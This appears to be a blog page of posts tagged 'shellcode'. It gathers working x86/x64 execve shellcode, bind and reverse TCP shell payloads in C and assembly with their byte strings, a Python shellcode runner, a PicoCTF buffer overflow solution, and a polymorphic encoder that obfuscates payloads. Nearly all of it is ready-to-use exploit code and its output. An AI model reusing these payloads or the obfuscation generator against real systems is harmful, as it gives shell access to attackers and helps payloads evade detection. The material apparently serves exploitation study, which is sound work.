Showing posts with label shellcode. Show all posts
Showing posts with label shellcode. Show all posts

# Execute shellcode in python


$ cat runshellcode.py
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from sys import argv


libc = CDLL('libc.so.6')

shellcode = argv[1].replace('\\x', '').decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()
$ uname -m
x86_64
$ # 23 bytes - Gu Zhengxiong
$ python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
len = 23
0x1000: xor esi, esi
0x1002: movabs  rbx, 0x68732f2f6e69622f
0x100c: push  rsi
0x100d: push  rbx
0x100e: push  rsp
0x100f: pop rdi
0x1010: push  0x3b
0x1012: pop rax
0x1013: xor edx, edx
0x1015: syscall
$ python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
$
$ uname -m
i686
$ # 21 bytes - Gu Zhengxiong
$ python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
len = 21
0x1000: xor ecx, ecx
0x1002: mul ecx
0x1004: mov al, 0xb
0x1006: push  ecx
0x1007: push  0x68732f2f
0x100c: push  0x6e69622f
0x1011: mov ebx, esp
0x1013: int 0x80
$ python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
$
$ cat disassemble.py
from sys import argv
from capstone import *

CODE = argv[3].replace('\\x', '').decode('hex')
print 'len =', len(CODE)

ARCH = {
  'all'   : CS_ARCH_ALL,
  'arm'   : CS_ARCH_ARM,
  'arm64'   : CS_ARCH_ARM64,
  'mips'    : CS_ARCH_MIPS,
  'ppc'   : CS_ARCH_PPC,
  'x86'   : CS_ARCH_X86,
  'xcore'   : CS_ARCH_XCORE
}

MODE = {
  '16'    : CS_MODE_16, 
  '32'    : CS_MODE_32,
  '64'    : CS_MODE_64,
  'arm'   : CS_MODE_ARM,
  'be'    : CS_MODE_BIG_ENDIAN,
  'le'    : CS_MODE_LITTLE_ENDIAN,
  'micro'   : CS_MODE_MICRO,
  'n64'   : CS_MODE_N64,
  'thumb'   : CS_MODE_THUMB
}

md = Cs(ARCH[argv[1]], MODE[argv[2]])
for i in md.disasm(CODE, 0x1000):
  print '0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)

# Reverse TCP bind shell setting source port


SERVER# cat sc.asm 
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,4321,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000 (Any available source IP)
push word 0xe110        ; source port = 4321
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; destination ip = 127.0.0.1
push word 0xd204        ; destination port = 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call

SERVER# nasm -f elf sc.asm && ld -o sc sc.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./sc

Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 4321)
hostname
SERVER
exit
CLIENT#

# PicoCTF 2k13 - Overflow 4


$ cat buffer_overflow_shellcode.c 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}
$ cat shellcode-ascii
\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80
$ ./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`
Stack dump:
0xffffd5f0: 0xffffd700 (first argument)
0xffffd5ec: 0xffffd5a0 (saved eip)
0xffffd5e8: 0x90909090 (saved ebp)
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x909080cd
0xffffd5bc: 0x0bb0e189
0xffffd5b8: 0x535650e6
0xffffd5b4: 0x89696970
0xffffd5b0: 0x2d6850e3
0xffffd5ac: 0x896e6962
0xffffd5a8: 0x2f686873
0xffffd5a4: 0x2f2f6850
0xffffd5a0: 0xe9f7c031 (beginning of buffer)
sh-4.2$ cat key
with_great_shellcode_comes_great_responsibility

# Polymorphic shellcode generator


Execve shellcode

# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Decoder shellcode

# cat decoder.asm
BITS 32
jmp short jmptrick
decoder:
pop esi
xor ecx,ecx
mov cl,0
loop:
sub byte [esi+ecx-1],0
dec cl
jnz loop
jmp short obfuscated_code
jmptrick:
call decoder
obfuscated_code:
# nasm -f elf decoder.asm
# ld -o decoder decoder.o
# od2sc decoder
"\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

Polymorphic shellcode generator

# cat pscg
#!/bin/bash

# Name:   pscg (polymorphic shellcode generator)
# Usage:  pscg <shellcode> [offset]

shellcode="$1"
offset="$2"

bytes=`echo $shellcode | tr -d \" | sed 's/\\\x/\n/g' | grep -v ^$`
max=`echo "$bytes" | sort -ru | head -n1`
length=0
decoder="\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

if [ "$offset" == "" ]; then offset=`bconv FF-$max x x`; fi

echo ""
echo "input      = \"$shellcode\""
echo "offset     = 0x$offset"

for byte in `echo "$bytes"`; do
        length=`bconv $length+1 x x`
        obfuscated=$(echo -n "$obfuscated\x`bconv $byte+$offset x x`")
done

echo "obfuscated = \"$obfuscated\""
echo "length     = 0x$length"

decoder=`echo $decoder | sed -e "s/00/$length/" -e "s/00/$offset/"`

echo "decoder    = \"$decoder\""
echo ""

output="$decoder$obfuscated"

echo "output  = \"$output\""
echo ""
echo -ne $output | ndisasm -u -
# pscg "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

input      = "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
offset     = 0x1c
obfuscated = "\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c"
length     = 0x1a
decoder    = "\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

output  = "\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c"

00000000  EB10              jmp short 0x12
00000002  5E                pop esi
00000003  31C9              xor ecx,ecx
00000005  B11A              mov cl,0x1a
00000007  806C0EFF1C        sub byte [esi+ecx-0x1],0x1c
0000000C  FEC9              dec cl
0000000E  75F7              jnz 0x7
00000010  EB05              jmp short 0x17
00000012  E8EBFFFFFF        call dword 0x2
00000017  4D                dec ebp
00000018  DCB5CC276E84      fdiv qword [ebp-0x7b91d834]
0000001E  4B                dec ebx
0000001F  4B                dec ebx
00000020  8F84844B7E858A    pop dword [esp+eax*4-0x757a81b5]
00000027  A5                movsd
00000028  FF6EA5            jmp dword far [esi-0x5b]
0000002B  FE                db 0xfe
0000002C  6F                outsd
0000002D  A5                movsd
0000002E  FD                std
0000002F  E9                db 0xe9
00000030  9C                pushfd

Polymorphic shellcode execution

# cat shellcode.c
#include <stdio.h>

char shellcode[]="\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c";
int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
# gcc -z execstack -o shellcode shellcode.c
# ./shellcode
# exit

References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Local, remote and reverse shellcodes


Local shellcode

# cat execve.c
#include <unistd.h>

int main(){
        char *shell[2];
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
# gcc -o execve execve.c
# ./execve
# exit
# cat execve.asm
BITS 32
; execve("/bin/sh",shell,NULL)
xor eax,eax
cdq                     ; xor edx,edx
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
# nasm -f elf execve.asm
# ld -o execve execve.o
# ./execve
# exit
# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Remote shellcode

SERVER# cat remote_execve.c
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

int main(){
        char *shell[2];
        int cfd,i,sockfd;
        struct sockaddr_in sin;

        sockfd=socket(AF_INET,SOCK_STREAM,0);
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=0;
        sin.sin_port=htons(1234);
        bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
        listen(sockfd,128); // cat /proc/sys/net/core/somaxconn
        cfd=accept(sockfd,NULL,0);
        for(i=0;i<3;i++){
                dup2(cfd,i);
        }
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
SERVER# gcc -o remote_execve remote_execve.c
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
SERVER
exit
CLIENT#
# cat remote_execve.asm
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,1234,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000
push word 0xd204        ; 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; listen(sockfd,128)
mov byte al,0x66        ; socketcall number (102)
mov byte bl,0x80        ; 128
push ebx
mov byte bl,0x04        ; ebx=0x00000004 (listen)
push esi
mov ecx,esp
int 0x80                ; system call
; cfd=accept(sockfd,NULL,0)
mov byte al,0x66        ; socketcall number (102)
inc ebx                 ; ebx=0x00000005 (accept)
push edx
push edx
push esi
mov ecx,esp
int 0x80                ; system call
xchg eax,ebx
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
SERVER# nasm -f elf remote_execve.asm
SERVER# ld -o remote_execve remote_execve.o
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
SERVER
exit
CLIENT#
SERVER# od2sc remote_execve
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x80\x53\xb3\x04\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Reverse shellcode

SERVER# cat reverse_execve.c
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

int main(){
        char *shell[2];
        int i,sockfd;
        struct sockaddr_in sin;

        sockfd=socket(AF_INET,SOCK_STREAM,0);
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=inet_addr("127.0.0.1");
        sin.sin_port=htons(1234);
        connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
        for(i=0;i<3;i++){
                dup2(sockfd,i);
        }
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
SERVER# gcc -o reverse_execve reverse_execve.c
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve

Connection from 127.0.0.1 port 1234 [tcp/*] accepted
hostname
SERVER
exit
CLIENT#

SERVER# cat reverse_execve.asm
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; 127.0.0.1
push word 0xd204        ; 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
SERVER# nasm -f elf reverse_execve.asm
SERVER# ld -o reverse_execve reverse_execve.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve

Connection from 127.0.0.1 port 1234 [tcp/*] accepted
hostname
SERVER
exit
CLIENT#

SERVER# od2sc reverse_execve
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x68\x7f\xbb\xbb\x01\x31\xc9\x66\x89\x4c\x24\x01\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x87\xde\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"


References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Objdump to shellcode char array

# cat od2sc
#!/bin/bash

# Name:   od2sc (objdump to shellcode)
# Usage:  od2sc <object_file>

objdump -D $1 \
| awk -F'\t' '{print $2}' \
| grep -v ^$ \
| tr -d '\n' \
| sed -e 's/ \+/\\x/g' -e 's/^/"\\x/' -e 's/\\x$/\"\n/'

# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"